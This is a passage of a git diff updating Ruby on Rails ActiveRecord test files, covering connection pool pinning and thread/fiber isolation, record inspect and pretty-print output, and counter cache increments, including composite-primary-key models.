-          assert_equal({ size: 1, connections: 1, busy: 0, dead: 0, idle: 1, waiting: 0, checkout_timeout: 5 }, stats)
+          assert_equal({ size: 1, connections: 1, busy: 0, dead: 0, idle: 1, waiting: 0, checkout_timeout: 0.2 }, stats)
 
-          Thread.new do
-            pool.checkout
-            Thread.current.kill
-          end.join
+          assert_raise(ThreadError) do
+            new_thread do
+              pool.checkout
+              raise ThreadError
+            end.join
+          end
 
           stats = pool.stat
-          assert_equal({ size: 1, connections: 1, busy: 0, dead: 1, idle: 0, waiting: 0, checkout_timeout: 5 }, stats)
+          assert_equal({ size: 1, connections: 1, busy: 0, dead: 1, idle: 0, waiting: 0, checkout_timeout: 0.2 }, stats)
+        ensure
+          Thread.report_on_exception = original_report_on_exception
+        end
+      end
+
+      def test_public_connections_access_threadsafe
+        _conn1 = @pool.checkout
+        conn2 = @pool.checkout
+
+        connections = @pool.connections
+        found_conn = nil
+
+        # Without assuming too much about implementation
+        # details make sure that a concurrent change to
+        # the pool is thread-safe.
+        connections.each_index do |idx|
+          if connections[idx] == conn2
+            new_thread do
+              @pool.remove(conn2)
+            end.join
+          end
+          found_conn = connections[idx]
+        end
+
+        assert_not_nil found_conn
+      end
+
+      def test_role_and_shard_is_returned
+        assert_equal :writing, @pool_config.role
+        assert_equal :writing, @pool.role
+        assert_equal :writing, @pool.lease_connection.role
+
+        assert_equal :default, @pool_config.shard
+        assert_equal :default, @pool.shard
+        assert_equal :default, @pool.lease_connection.shard
+
+        db_config = ActiveRecord::Base.connection_pool.db_config
+        pool_config = ActiveRecord::ConnectionAdapters::PoolConfig.new(ActiveRecord::Base, db_config, :reading, :shard_one)
+        pool = ConnectionPool.new(pool_config)
+
+        assert_equal :reading, pool_config.role
+        assert_equal :reading, pool.role
+        assert_equal :reading, pool.lease_connection.role
+
+        assert_equal :shard_one, pool_config.shard
+        assert_equal :shard_one, pool.shard
+        assert_equal :shard_one, pool.lease_connection.shard
+      ensure
+        pool&.disconnect!
+      end
+
+      def test_pin_connection_always_returns_the_same_connection
+        assert_not_predicate @pool, :active_connection?
+        @pool.pin_connection!(true)
+        pinned_connection = @pool.checkout
+
+        assert_not_predicate @pool, :active_connection?
+        assert_same pinned_connection, @pool.lease_connection
+        assert_predicate @pool, :active_connection?
+
+        assert_same pinned_connection, @pool.checkout
+
+        @pool.release_connection
+        assert_not_predicate @pool, :active_connection?
+        assert_same pinned_connection, @pool.checkout
+      end
+
+      def test_pin_connection_connected?
+        skip("Can't test with in-memory dbs") if in_memory_db?
+
+        assert_not_predicate @pool, :connected?
+        @pool.pin_connection!(true)
+        assert_predicate @pool, :connected?
+
+        pin_connection = @pool.checkout
+
+        @pool.disconnect
+        assert_not_predicate @pool, :connected?
+        assert_same pin_connection, @pool.checkout
+        assert_predicate @pool, :connected?
+      end
+
+      def test_pin_connection_synchronize_the_connection
+        assert_equal ActiveSupport::Concurrency::NullLock, @pool.lease_connection.lock
+        @pool.pin_connection!(true)
+        assert_not_equal ActiveSupport::Concurrency::NullLock, @pool.lease_connection.lock
+        @pool.unpin_connection!
+        assert_equal ActiveSupport::Concurrency::NullLock, @pool.lease_connection.lock
+
+        @pool.pin_connection!(false)
+        assert_equal ActiveSupport::Concurrency::NullLock, @pool.lease_connection.lock
+      end
+
+      def test_pin_connection_opens_a_transaction
+        assert_instance_of NullTransaction, @pool.lease_connection.current_transaction
+        @pool.pin_connection!(true)
+        assert_instance_of RealTransaction, @pool.lease_connection.current_transaction
+        @pool.unpin_connection!
+        assert_instance_of NullTransaction, @pool.lease_connection.current_transaction
+      end
+
+      def test_unpin_connection_returns_whether_transaction_has_been_rolledback
+        @pool.pin_connection!(true)
+        assert_equal true, @pool.unpin_connection!
+
+        @pool.pin_connection!(true)
+        @pool.lease_connection.commit_transaction
+        assert_equal false, @pool.unpin_connection!
+
+        @pool.pin_connection!(true)
+        @pool.lease_connection.rollback_transaction
+        assert_equal false, @pool.unpin_connection!
+      end
+
+      def test_pin_connection_nesting
+        assert_instance_of NullTransaction, @pool.lease_connection.current_transaction
+        @pool.pin_connection!(true)
+        assert_instance_of RealTransaction, @pool.lease_connection.current_transaction
+        @pool.pin_connection!(true)
+        assert_instance_of SavepointTransaction, @pool.lease_connection.current_transaction
+        @pool.unpin_connection!
+        assert_instance_of RealTransaction, @pool.lease_connection.current_transaction
+        @pool.unpin_connection!
+        assert_instance_of NullTransaction, @pool.lease_connection.current_transaction
+
+        assert_raises(RuntimeError, match: /There isn't a pinned connection/) do
+          @pool.unpin_connection!
+        end
+      end
+
+      def test_pin_connection_nesting_lock
+        assert_equal ActiveSupport::Concurrency::NullLock, @pool.lease_connection.lock
+
+        @pool.pin_connection!(true)
+        actual_lock = @pool.lease_connection.lock
+        assert_not_equal ActiveSupport::Concurrency::NullLock, actual_lock
+
+        @pool.pin_connection!(false)
+        assert_same actual_lock, @pool.lease_connection.lock
+
+        @pool.unpin_connection!
+        assert_same actual_lock, @pool.lease_connection.lock
+
+        @pool.unpin_connection!
+        assert_equal ActiveSupport::Concurrency::NullLock, @pool.lease_connection.lock
+      end
+
+      def test_pin_connection_nesting_lock_inverse
+        assert_equal ActiveSupport::Concurrency::NullLock, @pool.lease_connection.lock
+
+        @pool.pin_connection!(false)
+        assert_equal ActiveSupport::Concurrency::NullLock, @pool.lease_connection.lock
+
+        @pool.pin_connection!(true)
+        actual_lock = @pool.lease_connection.lock
+        assert_not_equal ActiveSupport::Concurrency::NullLock, actual_lock
+
+        @pool.unpin_connection!
+        assert_same actual_lock, @pool.lease_connection.lock # The lock persist until full unpin
+
+        @pool.unpin_connection!
+        assert_equal ActiveSupport::Concurrency::NullLock, @pool.lease_connection.lock
+      end
+
+      def test_inspect_does_not_show_secrets
+        assert_match(/#<ActiveRecord::ConnectionAdapters::ConnectionPool env_name="\w+" role=:writing>/, @pool.inspect)
+
+        db_config = ActiveRecord::Base.connection_pool.db_config
+        pool_config = ActiveRecord::ConnectionAdapters::PoolConfig.new(ActiveRecord::Base, db_config, :reading, :shard_one)
+        pool = ConnectionPool.new(pool_config)
+
+        assert_match(/#<ActiveRecord::ConnectionAdapters::ConnectionPool env_name="\w+" role=:reading shard=:shard_one>/, pool.inspect)
+      ensure
+        pool&.disconnect!
+      end
+
+      def test_checkout_callback_error_does_not_affect_permanent_lease_and_active_connection_state
+        checkout_error = StandardError.new("error during checkout")
+        proc_to_raise = -> { raise checkout_error }
+        ActiveRecord::ConnectionAdapters::AbstractAdapter.set_callback(:checkout, :after, proc_to_raise)
+
+        assert_predicate @pool, :permanent_lease?
+        assert_not_predicate @pool, :active_connection?
+
+        error = assert_raises StandardError do
+          @pool.lease_connection
+        end
+        assert_same checkout_error, error
+
+        assert_predicate @pool, :permanent_lease?
+        assert_not_predicate @pool, :active_connection?
+      ensure
+        ActiveRecord::ConnectionAdapters::AbstractAdapter.skip_callback(:checkout, :after, proc_to_raise)
+      end
+
+      def test_unlimited_connections_with_nil
+        pool = new_pool_with_options(max_connections: nil)
+
+        assert_nil pool.max_connections
+        assert_nil pool.size
+
+        # Should be able to create many connections without hitting a limit
+        connections = []
+        10.times do
+          connections << pool.checkout
+        end
+
+        assert_equal 10, connections.size
+        connections.each { |conn| pool.checkin(conn) }
+      ensure
+        pool&.disconnect!
+      end
+
+      def test_unlimited_connections_with_negative_one
+        pool = new_pool_with_options(max_connections: -1)
+
+        assert_nil pool.max_connections
+        assert_nil pool.size
+
+        # Should be able to create many connections without hitting a limit
+        connections = []
+        10.times do
+          connections << pool.checkout
         end
+
+        assert_equal 10, connections.size
+        connections.each { |conn| pool.checkin(conn) }
+      ensure
+        pool&.disconnect!
+      end
+
+      def test_zero_connections_means_zero_limit
+        pool = new_pool_with_options(max_connections: 0)
+
+        assert_equal 0, pool.max_connections
+        assert_equal 0, pool.size
+
+        # Should not be able to create any connections
+        error = assert_raises(ActiveRecord::ConnectionTimeoutError) do
+          pool.checkout
+        end
+        assert_match(/could not obtain a connection from the pool/, error.message)
+      ensure
+        pool&.disconnect!
+      end
+
+      def test_unlimited_connections_stat_reports_nil_size
+        pool = new_pool_with_options(max_connections: nil)
+
+        stat = pool.stat
+        assert_nil stat[:size]
+        assert_equal 0, stat[:connections]
+        assert_equal 0, stat[:busy]
+        assert_equal 0, stat[:idle]
+      ensure
+        pool&.disconnect!
       end
 
       private
-        def with_single_connection_pool
-          one_conn_spec = ActiveRecord::Base.connection_pool.spec.dup
-          one_conn_spec.config[:pool] = 1 # this is safe to do, because .dupped ConnectionSpecification also auto-dups its config
-          yield(pool = ConnectionPool.new(one_conn_spec))
+        def active_connections(pool)
+          pool.connections.find_all(&:in_use?)
+        end
+
+        def with_single_connection_pool(**options)
+          config = @db_config.configuration_hash.merge(max_connections: 1, **options)
+          db_config = ActiveRecord::DatabaseConfigurations::HashConfig.new("arunit", "primary", config)
+          pool_config = ActiveRecord::ConnectionAdapters::PoolConfig.new(ActiveRecord::Base, db_config, :writing, :default)
+
+          yield(pool = ConnectionPool.new(pool_config))
         ensure
           pool.disconnect! if pool
         end
+
+        def new_pool_with_options(async: true, **options)
+          config = @db_config.configuration_hash.merge(options)
+          db_config = ActiveRecord::DatabaseConfigurations::HashConfig.new(@db_config.env_name, @db_config.name, config)
+          pool_config = ActiveRecord::ConnectionAdapters::PoolConfig.new(ActiveRecord::Base, db_config, :writing, :default)
+          pool = ConnectionPool.new(pool_config)
+          pool.instance_variable_set(:@async_executor, nil) unless async
+          @pools << pool
+          pool
+        end
+    end
+
+    class ConnectionPoolThreadTest < ActiveRecord::TestCase
+      include ConnectionPoolTests
+
+      class ThreadConnectionTestModel < ActiveRecord::Base
+        self.abstract_class = true
+      end
+
+      def setup
+        @previous_isolation_level = ActiveSupport::IsolatedExecutionState.isolation_level
+
+        ActiveSupport::IsolatedExecutionState.isolation_level = :thread
+        @connection_test_model_class = ThreadConnectionTestModel
+
+        super
+      end
+
+      def teardown
+        super
+        ActiveSupport::IsolatedExecutionState.isolation_level = @previous_isolation_level
+      end
+
+      def test_lock_thread_allow_fiber_reentrency
+        connection = @pool.checkout
+        connection.lock_thread = ActiveSupport::IsolatedExecutionState.context
+        connection.transaction do
+          enumerator = Enumerator.new do |yielder|
+            connection.transaction do
+              yielder.yield 1
+            end
+          end
+          assert_equal 1, enumerator.next
+        end
+      end
+
+      private
+        def new_thread(...)
+          Thread.new(...)
+        end
+
+        def stop_thread
+          Thread.stop
+        end
+
+        def pass_to(_thread)
+          Thread.pass
+        end
+
+        def skip_fiber_testing; end
+    end
+
+    class ConnectionPoolFiberTest < ActiveRecord::TestCase
+      include ConnectionPoolTests
+
+      class FiberConnectionTestModel < ActiveRecord::Base
+        self.abstract_class = true
+      end
+
+      class ThreadlikeFiber < Fiber
+        def join(timeout = nil)
+          now = Time.now
+          resume while alive? && (!timeout || Time.now - now < timeout)
+        end
+
+        def terminate
+          nil
+        end
+
+        unless method_defined?(:kill) # RUBY_VERSION <= "3.3"
+          def kill
+          end
+        end
+      end
+
+      def setup
+        @previous_isolation_level = ActiveSupport::IsolatedExecutionState.isolation_level
+
+        ActiveSupport::IsolatedExecutionState.isolation_level = :fiber
+        @connection_test_model_class = FiberConnectionTestModel
+
+        super
+      end
+
+      def teardown
+        super
+        ActiveSupport::IsolatedExecutionState.isolation_level = @previous_isolation_level
+      end
+
+      private
+        def new_thread(*args, &block)
+          ThreadlikeFiber.new(*args, &block)
+        end
+
+        def stop_thread
+          Fiber.yield
+        end
+
+        def pass_to(fiber)
+          fiber.resume
+        end
+
+        def skip_fiber_testing
+          skip "Can't test isolation_level=fiber without a Ruby 3.1+ Fiber Scheduler"
+        end
     end
   end
 end
diff --git a/activerecord/test/cases/connection_specification/resolver_test.rb b/activerecord/test/cases/connection_specification/resolver_test.rb
deleted file mode 100644
index 13b5bae13cd4a..0000000000000
--- a/activerecord/test/cases/connection_specification/resolver_test.rb
+++ /dev/null
@@ -1,135 +0,0 @@
-require "cases/helper"
-
-module ActiveRecord
-  module ConnectionAdapters
-    class ConnectionSpecification
-      class ResolverTest < ActiveRecord::TestCase
-        def resolve(spec, config = {})
-          Resolver.new(config).resolve(spec)
-        end
-
-        def spec(spec, config = {})
-          Resolver.new(config).spec(spec)
-        end
-
-        def test_url_invalid_adapter
-          error = assert_raises(LoadError) do
-            spec "ridiculous://foo?encoding=utf8"
-          end
-
-          assert_match "Could not load 'active_record/connection_adapters/ridiculous_adapter'", error.message
-        end
-
-        # The abstract adapter is used simply to bypass the bit of code that
-        # checks that the adapter file can be required in.
-
-        def test_url_from_environment
-          spec = resolve :production, "production" => "abstract://foo?encoding=utf8"
-          assert_equal({
-            "adapter"  =>  "abstract",
-            "host"     =>  "foo",
-            "encoding" => "utf8",
-            "name"     => "production" }, spec)
-        end
-
-        def test_url_sub_key
-          spec = resolve :production, "production" => { "url" => "abstract://foo?encoding=utf8" }
-          assert_equal({
-            "adapter"  => "abstract",
-            "host"     => "foo",
-            "encoding" => "utf8",
-            "name"     => "production" }, spec)
-        end
-
-        def test_url_sub_key_merges_correctly
-          hash = { "url" => "abstract://foo?encoding=utf8&", "adapter" => "sqlite3", "host" => "bar", "pool" => "3" }
-          spec = resolve :production, "production" => hash
-          assert_equal({
-            "adapter"  => "abstract",
-            "host"     => "foo",
-            "encoding" => "utf8",
-            "pool"     => "3",
-            "name"     => "production" }, spec)
-        end
-
-        def test_url_host_no_db
-          spec = resolve "abstract://foo?encoding=utf8"
-          assert_equal({
-            "adapter"  => "abstract",
-            "host"     => "foo",
-            "encoding" => "utf8" }, spec)
-        end
-
-        def test_url_missing_scheme
-          spec = resolve "foo"
-          assert_equal({
-            "database" => "foo" }, spec)
-        end
-
-        def test_url_host_db
-          spec = resolve "abstract://foo/bar?encoding=utf8"
-          assert_equal({
-            "adapter"  => "abstract",
-            "database" => "bar",
-            "host"     => "foo",
-            "encoding" => "utf8" }, spec)
-        end
-
-        def test_url_port
-          spec = resolve "abstract://foo:123?encoding=utf8"
-          assert_equal({
-            "adapter"  => "abstract",
-            "port"     => 123,
-            "host"     => "foo",
-            "encoding" => "utf8" }, spec)
-        end
-
-        def test_encoded_password
-          password = "am@z1ng_p@ssw0rd#!"
-          encoded_password = URI.encode_www_form_component(password)
-          spec = resolve "abstract://foo:#{encoded_password}@localhost/bar"
-          assert_equal password, spec["password"]
-        end
-
-        def test_url_with_authority_for_sqlite3
-          spec = resolve "sqlite3:///foo_test"
-          assert_equal("/foo_test", spec["database"])
-        end
-
-        def test_url_absolute_path_for_sqlite3
-          spec = resolve "sqlite3:/foo_test"
-          assert_equal("/foo_test", spec["database"])
-        end
-
-        def test_url_relative_path_for_sqlite3
-          spec = resolve "sqlite3:foo_test"
-          assert_equal("foo_test", spec["database"])
-        end
-
-        def test_url_memory_db_for_sqlite3
-          spec = resolve "sqlite3::memory:"
-          assert_equal(":memory:", spec["database"])
-        end
-
-        def test_url_sub_key_for_sqlite3
-          spec = resolve :production, "production" => { "url" => "sqlite3:foo?encoding=utf8" }
-          assert_equal({
-            "adapter"  => "sqlite3",
-            "database" => "foo",
-            "encoding" => "utf8",
-            "name"     => "production" }, spec)
-        end
-
-        def test_spec_name_on_key_lookup
-          spec = spec(:readonly, "readonly" => { "adapter" => "sqlite3" })
-          assert_equal "readonly", spec.name
-        end
-
-        def test_spec_name_with_inline_config
-          spec = spec("adapter" => "sqlite3")
-          assert_equal "primary", spec.name, "should default to primary id"
-        end
-      end
-    end
-  end
-end
diff --git a/activerecord/test/cases/core_test.rb b/activerecord/test/cases/core_test.rb
index 3735572898bae..2368a0d2de1b2 100644
--- a/activerecord/test/cases/core_test.rb
+++ b/activerecord/test/cases/core_test.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/person"
 require "models/topic"
 require "pp"
-require "active_support/core_ext/string/strip"
+require "models/cpk"
 
 class NonExistentTable < ActiveRecord::Base; end
 
@@ -17,46 +19,118 @@ def test_inspect_class
 
   def test_inspect_instance
     topic = topics(:first)
-    assert_equal %(#<Topic id: 1, title: "The First Topic", author_name: "David", author_email_address: "david@loudthinking.com", written_on: "#{topic.written_on.to_s(:db)}", bonus_time: "#{topic.bonus_time.to_s(:db)}", last_read: "#{topic.last_read.to_s(:db)}", content: "Have a nice day", important: nil, approved: false, replies_count: 1, unique_replies_count: 0, parent_id: nil, parent_title: nil, type: nil, group: nil, created_at: "#{topic.created_at.to_s(:db)}", updated_at: "#{topic.updated_at.to_s(:db)}">), topic.inspect
+    assert_equal %(#<Topic id: 1, title: "The First Topic", author_name: "David", author_email_address: "david@loudthinking.com", written_on: "#{topic.written_on.to_fs(:inspect)}", bonus_time: "#{topic.bonus_time.to_fs(:inspect)}", last_read: "#{topic.last_read.to_fs(:inspect)}", content: "Have a nice day", important: nil, binary_content: nil, approved: false, replies_count: 1, unique_replies_count: 0, parent_id: nil, parent_title: nil, type: nil, group: nil, created_at: "#{topic.created_at.to_fs(:inspect)}", updated_at: "#{topic.updated_at.to_fs(:inspect)}">), topic.inspect
+  end
+
+  def test_inspect_includes_attributes_from_attributes_for_inspect
+    Topic.stub(:attributes_for_inspect, [:id, :title, :author_name]) do
+      topic = topics(:first)
+
+      assert_equal %(#<Topic id: 1, title: "The First Topic", author_name: "David">), topic.inspect
+    end
+  end
+
+  def test_inspect_instance_with_lambda_date_formatter
+    before = Time::DATE_FORMATS[:inspect]
+
+    Topic.stub(:attributes_for_inspect, [:id, :last_read]) do
+      Time::DATE_FORMATS[:inspect] = ->(date) { "my_format" }
+      topic = topics(:first)
+
+      assert_equal %(#<Topic id: 1, last_read: "2004-04-15">), topic.inspect
+    end
+  ensure
+    Time::DATE_FORMATS[:inspect] = before
   end
 
   def test_inspect_new_instance
     assert_match(/Topic id: nil/, Topic.new.inspect)
   end
 
+  def test_inspect_singleton_instance
+    assert_match(/#<Class:#<Topic:\w+>>/, Topic.new.singleton_class.inspect)
+  end
+
   def test_inspect_limited_select_instance
-    assert_equal %(#<Topic id: 1>), Topic.all.merge!(select: "id", where: "id = 1").first.inspect
-    assert_equal %(#<Topic id: 1, title: "The First Topic">), Topic.all.merge!(select: "id, title", where: "id = 1").first.inspect
+    Topic.stub(:attributes_for_inspect, [:id, :title]) do
+      assert_equal %(#<Topic id: 1>), Topic.all.merge!(select: "id", where: "id = 1").first.inspect
+      assert_equal %(#<Topic id: 1, title: "The First Topic">), Topic.all.merge!(select: "id, title", where: "id = 1").first.inspect
+    end
+  end
+
+  def test_inspect_instance_with_non_primary_key_id_attribute
+    topic = topics(:first).becomes(TitlePrimaryKeyTopic)
+    assert_match(/id: 1/, topic.inspect)
   end
 
   def test_inspect_class_without_table
     assert_equal "NonExistentTable(Table doesn't exist)", NonExistentTable.inspect
   end
 
+  def test_inspect_with_attributes_for_inspect_all_lists_all_attributes
+    Topic.stub(:attributes_for_inspect, :all) do
+      topic = topics(:first)
+
+      assert_equal <<~STRING.squish, topic.inspect
+        #<Topic id: 1, title: "The First Topic", author_name: "David", author_email_address: "david@loudthinking.com", written_on: "#{topic.written_on.to_fs(:inspect)}", bonus_time: "#{topic.bonus_time.to_fs(:inspect)}", last_read: "#{topic.last_read.to_fs(:inspect)}", content: "Have a nice day", important: nil, binary_content: nil, approved: false, replies_count: 1, unique_replies_count: 0, parent_id: nil, parent_title: nil, type: nil, group: nil, created_at: "#{topic.created_at.to_fs(:inspect)}", updated_at: "#{topic.updated_at.to_fs(:inspect)}">
+      STRING
+    end
+  end
+
+  def test_inspect_relation_with_virtual_field
+    relation = Topic.limit(1).select("1 as virtual_field")
+    assert_match(/virtual_field: 1/, relation.first.full_inspect)
+  end
+
+  def test_inspect_with_overridden_attribute_for_inspect
+    topic = topics(:first)
+
+    topic.instance_eval do
+      def attribute_for_inspect(attr_name)
+        if attr_name == "title"
+          title.upcase.inspect
+        else
+          super
+        end
+      end
+    end
+
+    assert_match(/title: "THE FIRST TOPIC"/, topic.full_inspect)
+  end
+
+  def test_full_inspect_lists_all_attributes
+    topic = topics(:first)
+
+    assert_equal <<~STRING.squish, topic.full_inspect
+      #<Topic id: 1, title: "The First Topic", author_name: "David", author_email_address: "david@loudthinking.com", written_on: "#{topic.written_on.to_fs(:inspect)}", bonus_time: "#{topic.bonus_time.to_fs(:inspect)}", last_read: "#{topic.last_read.to_fs(:inspect)}", content: "Have a nice day", important: nil, binary_content: nil, approved: false, replies_count: 1, unique_replies_count: 0, parent_id: nil, parent_title: nil, type: nil, group: nil, created_at: "#{topic.created_at.to_fs(:inspect)}", updated_at: "#{topic.updated_at.to_fs(:inspect)}">
+    STRING
+  end
+
   def test_pretty_print_new
     topic = Topic.new
-    actual = ""
+    actual = +""
     PP.pp(topic, StringIO.new(actual))
-    expected = <<-PRETTY.strip_heredoc
-    #<Topic:0xXXXXXX
-     id: nil,
-     title: nil,
-     author_name: nil,
-     author_email_address: "test@test.com",
-     written_on: nil,
-     bonus_time: nil,
-     last_read: nil,
-     content: nil,
-     important: nil,
-     approved: true,
-     replies_count: 0,
-     unique_replies_count: 0,
-     parent_id: nil,
-     parent_title: nil,
-     type: nil,
-     group: nil,
-     created_at: nil,
-     updated_at: nil>
+    expected = <<~PRETTY
+      #<Topic:0xXXXXXX
+       id: nil,
+       title: nil,
+       author_name: nil,
+       author_email_address: "test@test.com",
+       written_on: nil,
+       bonus_time: nil,
+       last_read: nil,
+       content: nil,
+       important: nil,
+       binary_content: nil,
+       approved: true,
+       replies_count: 0,
+       unique_replies_count: 0,
+       parent_id: nil,
+       parent_title: nil,
+       type: nil,
+       group: nil,
+       created_at: nil,
+       updated_at: nil>
     PRETTY
     assert actual.start_with?(expected.split("XXXXXX").first)
     assert actual.end_with?(expected.split("XXXXXX").last)
@@ -64,35 +138,67 @@ def test_pretty_print_new
 
   def test_pretty_print_persisted
     topic = topics(:first)
-    actual = ""
+    actual = +""
     PP.pp(topic, StringIO.new(actual))
-    expected = <<-PRETTY.strip_heredoc
-    #<Topic:0x\\w+
-     id: 1,
-     title: "The First Topic",
-     author_name: "David",
-     author_email_address: "david@loudthinking.com",
-     written_on: 2003-07-16 14:28:11 UTC,
-     bonus_time: 2000-01-01 14:28:00 UTC,
-     last_read: Thu, 15 Apr 2004,
-     content: "Have a nice day",
-     important: nil,
-     approved: false,
-     replies_count: 1,
-     unique_replies_count: 0,
-     parent_id: nil,
-     parent_title: nil,
-     type: nil,
-     group: nil,
-     created_at: [^,]+,
-     updated_at: [^,>]+>
+    expected = <<~PRETTY
+      #<Topic:0x\\w+
+       id: 1,
+       title: "The First Topic",
+       author_name: "David",
+       author_email_address: "david@loudthinking.com",
+       written_on: "2003-07-16 14:28:11\\.223300000 \\+0000",
+       bonus_time: "2000-01-01 14:28:00\\.000000000 \\+0000",
+       last_read: "2004-04-15",
+       content: "Have a nice day",
+       important: nil,
+       binary_content: nil,
+       approved: false,
+       replies_count: 1,
+       unique_replies_count: 0,
+       parent_id: nil,
+       parent_title: nil,
+       type: nil,
+       group: nil,
+       created_at: [^,]+,
+       updated_at: [^,>]+>
     PRETTY
     assert_match(/\A#{expected}\z/, actual)
   end
 
+  def test_pretty_print_full
+    Topic.stub(:attributes_for_inspect, :all) do
+      topic = topics(:first)
+      actual = +""
+      PP.pp(topic, StringIO.new(actual))
+      expected = <<~PRETTY
+        #<Topic:0x\\w+
+         id: 1,
+         title: "The First Topic",
+         author_name: "David",
+         author_email_address: "david@loudthinking.com",
+         written_on: "2003-07-16 14:28:11\\.223300000 \\+0000",
+         bonus_time: "2000-01-01 14:28:00\\.000000000 \\+0000",
+         last_read: "2004-04-15",
+         content: "Have a nice day",
+         important: nil,
+         binary_content: nil,
+         approved: false,
+         replies_count: 1,
+         unique_replies_count: 0,
+         parent_id: nil,
+         parent_title: nil,
+         type: nil,
+         group: nil,
+         created_at: [^,]+,
+         updated_at: [^,>]+>
+      PRETTY
+      assert_match(/\A#{expected}\z/, actual)
+    end
+  end
+
   def test_pretty_print_uninitialized
     topic = Topic.allocate
-    actual = ""
+    actual = +""
     PP.pp(topic, StringIO.new(actual))
     expected = "#<Topic:XXXXXX not initialized>\n"
     assert actual.start_with?(expected.split("XXXXXX").first)
@@ -105,8 +211,84 @@ def inspect
         "inspecting topic"
       end
     end
-    actual = ""
+    actual = +""
     PP.pp(subtopic.new, StringIO.new(actual))
     assert_equal "inspecting topic\n", actual
   end
+
+  def test_pretty_print_with_non_primary_key_id_attribute
+    topic = topics(:first).becomes(TitlePrimaryKeyTopic)
+    actual = +""
+    PP.pp(topic, StringIO.new(actual))
+    assert_match(/id: 1/, actual)
+  end
+
+  def test_pretty_print_with_overridden_attribute_for_inspect
+    topic = topics(:first)
+
+    topic.instance_eval do
+      def attribute_for_inspect(attr_name)
+        if attr_name == "title"
+          title.upcase.inspect
+        else
+          super
+        end
+      end
+    end
+
+    Topic.stub(:attributes_for_inspect, :all) do
+      actual = +""
+      PP.pp(topic, StringIO.new(actual))
+      assert_match(/title: "THE FIRST TOPIC"/, actual)
+    end
+  end
+
+  def test_find_by_cache_does_not_duplicate_entries
+    Topic.initialize_find_by_cache
+    using_prepared_statements = Topic.lease_connection.prepared_statements
+    topic_find_by_cache = Topic.instance_variable_get("@find_by_statement_cache")[using_prepared_statements]
+
+    assert_difference -> { topic_find_by_cache.size }, +1 do
+      Topic.find(1)
+    end
+    assert_no_difference -> { topic_find_by_cache.size } do
+      Topic.find_by(id: 1)
+    end
+  end
+
+  def test_composite_pk_models_added_to_a_set
+    library = Set.new
+    # with primary key present
+    library << Cpk::Book.new(id: [1, 2])
+
+    # duplicate
+    library << Cpk::Book.new(id: [1, 3])
+    library << Cpk::Book.new(id: [1, 3])
+
+    # without primary key being set
+    library << Cpk::Book.new(title: "Book A")
+    library << Cpk::Book.new(title: "Book B")
+
+    assert_equal 4, library.size
+  end
+
+  def test_composite_pk_models_equality
+    assert Cpk::Book.new(id: [1, 2]) == Cpk::Book.new(id: [1, 2])
+
+    assert_not Cpk::Book.new(id: [1, 2]) == Cpk::Book.new(id: [1, 3])
+    assert_not Cpk::Book.new == Cpk::Book.new
+    assert_not Cpk::Book.new(title: "Book A") == Cpk::Book.new(title: "Book B")
+    assert_not Cpk::Book.new(author_id: 1) == Cpk::Book.new(author_id: 1)
+    assert_not Cpk::Book.new(author_id: 1, title: "Same title") == Cpk::Book.new(author_id: 1, title: "Same title")
+  end
+
+  def test_composite_pk_models_hash
+    assert_equal Cpk::Book.new(id: [1, 2]).hash, Cpk::Book.new(id: [1, 2]).hash
+
+    assert_not_equal Cpk::Book.new(id: [1, 2]).hash, Cpk::Book.new(id: [1, 3]).hash
+    assert_not_equal Cpk::Book.new.hash, Cpk::Book.new.hash
+    assert_not_equal Cpk::Book.new(title: "Book A").hash, Cpk::Book.new(title: "Book B").hash
+    assert_not_equal Cpk::Book.new(author_id: 1).hash, Cpk::Book.new(author_id: 1).hash
+    assert_not_equal Cpk::Book.new(author_id: 1, title: "Same title").hash, Cpk::Book.new(author_id: 1, title: "Same title").hash
+  end
 end
diff --git a/activerecord/test/cases/counter_cache_test.rb b/activerecord/test/cases/counter_cache_test.rb
index 46d7526cc0247..1d7ed501d88f6 100644
--- a/activerecord/test/cases/counter_cache_test.rb
+++ b/activerecord/test/cases/counter_cache_test.rb
@@ -1,22 +1,29 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/topic"
+require "models/bulb"
+require "models/person"
 require "models/car"
 require "models/aircraft"
 require "models/wheel"
 require "models/engine"
+require "models/tire"
 require "models/reply"
 require "models/category"
 require "models/categorization"
 require "models/dog"
 require "models/dog_lover"
-require "models/person"
 require "models/friendship"
 require "models/subscriber"
 require "models/subscription"
 require "models/book"
+require "models/cpk"
+require "active_support/core_ext/enumerable"
 
 class CounterCacheTest < ActiveRecord::TestCase
-  fixtures :topics, :categories, :categorizations, :cars, :dogs, :dog_lovers, :people, :friendships, :subscribers, :subscriptions, :books
+  fixtures :topics, :categories, :categorizations, :cars, :dogs, :dog_lovers, :people, :friendships, :subscribers, :subscriptions, :books,
+    :cpk_orders, :cpk_books
 
   class ::SpecialTopic < ::Topic
     has_many :special_replies, foreign_key: "parent_id"
@@ -37,12 +44,45 @@ class ::SpecialReply < ::Reply
     end
   end
 
+  test "increment counter by specific amount" do
+    assert_difference -> { @topic.reload.replies_count }, +2 do
+      Topic.increment_counter(:replies_count, @topic.id, by: 2)
+    end
+  end
+
+  test "increment counter for cpk model" do
+    order = Cpk::Order.first
+    assert_difference -> { order.reload.books_count } do
+      Cpk::Order.increment_counter(:books_count, order.id)
+    end
+  end
+
+  test "increment counter for multiple cpk model records" do
+    order1, order2 = Cpk::Order.first(2)
+    assert_difference [-> { order1.reload.books_count }, -> { order2.reload.books_count }] do
+      Cpk::Order.increment_counter(:books_count, [order1.id, order2.id])
+    end
+  end
+
   test "decrement counter" do
     assert_difference "@topic.reload.replies_count", -1 do
       Topic.decrement_counter(:replies_count, @topic.id)
     end
   end
 
+  test "decrement counter by specific amount" do
+    assert_difference "@topic.reload.replies_count", -2 do
+      Topic.decrement_counter(:replies_count, @topic.id, by: 2)
+    end
+  end
+
+  test "decrement counter for cpk model" do
+    order = Cpk::Order.first
+    assert_difference -> { order.reload.books_count }, -1 do
+      Cpk::Order.decrement_counter(:books_count, order.id)
+    end
+  end
+
   test "reset counters" do
     # throw the count off by 1
     Topic.increment_counter(:replies_count, @topic.id)
@@ -63,6 +103,15 @@ class ::SpecialReply < ::Reply
     end
   end
 
+  test "reset counters for multiple records" do
+    t1, t2 = topics(:first, :second)
+    Topic.increment_counter(:replies_count, [t1.id, t2.id])
+
+    assert_difference ["t1.reload.replies_count", "t2.reload.replies_count"], -1 do
+      Topic.reset_counters([t1.id, t2.id], :replies_count)
+    end
+  end
+
   test "reset multiple counters" do
